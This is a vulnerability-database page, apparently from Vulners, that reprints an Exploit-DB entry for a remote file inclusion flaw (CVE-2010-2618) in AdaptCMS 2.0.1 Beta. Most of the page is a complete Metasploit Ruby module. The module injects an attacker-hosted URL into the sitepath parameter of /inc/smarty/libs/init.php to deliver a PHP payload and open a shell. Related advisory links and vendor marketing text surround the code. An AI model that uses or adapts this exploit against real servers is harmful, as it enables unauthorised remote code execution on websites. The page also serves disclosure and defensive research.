Lucene search
K

AdaptCMS 2.0.1 Beta - Remote File Inclusion (Metasploit)

🗓️ 12 Oct 2010 00:00:00Reported by v3n0mType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

AdaptCMS 2.0.1 Beta - Remote File Inclusion Exploit in /inc/smarty/libs/init.ph

Related
Code
ReporterTitlePublishedViews
Family
0day.today
AdaptCMS 2.0.1 Beta Release Remote File Inclusion Vulnerability (msf)
13 Oct 201000:00
zdt
Circl
CVE-2010-2618
24 Jun 201000:00
circl
CVE
CVE-2010-2618
1 Jul 201021:00
cve
Cvelist
CVE-2010-2618
1 Jul 201021:00
cvelist
EUVD
EUVD-2010-2622
7 Oct 202500:30
euvd
exploitpack
AdaptCMS 2.0.1 Beta - Remote File Inclusion (Metasploit)
12 Oct 201000:00
exploitpack
NVD
CVE-2010-2618
2 Jul 201012:44
nvd
OpenVAS
AdaptCMS 'init.php' Remote File Include Vulnerability
13 Oct 201000:00
openvas
OpenVAS
AdaptCMS 'init.php' Remote File Include Vulnerability
13 Oct 201000:00
openvas
Packet Storm
AdaptCMS 2.0.1 Beta Remote File Inclusion
13 Oct 201000:00
packetstorm
Rows per page
##
#      )   )            )                     (   (         (   (    (       )     ) 
#  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
#  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
# ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
#__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
#\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
# \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
#  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
#										.WEB.ID
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AdaptCMS 2.0.1 Beta Released Remote File Inclusion Exploit',
			'Description'    => %q{
					This module can be used to exploit Remote File Inclusion in AdaptCMS 2.0.1 or earlier in file /inc/smarty/libs/init.php.

			},
			'Author'         => [ 'v3n0m' , 'Yogyacarderlink-Indonesia' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:$',
			'References'     => 				
				[
					[ 'CVE', '2010-2618' ],
					[ 'BID', '41116' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 262144, # 256k
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget' => 0))

		register_options([
			OptString.new('PHPURI', [ true , "The URI to request, with the include parameter changed to !URL!", '/inc/smarty/libs/init.php?sitepath=!URL!']),
			], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
		print_status("Trying uri #{uri}")

		response = send_request_raw( {
				'global' => true,
				'uri' => uri,
			},timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end
		
		handler
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Oct 2010 00:00Current
7High risk
Vulners AI Score7
CVSS 26.8
EPSS0.02102
31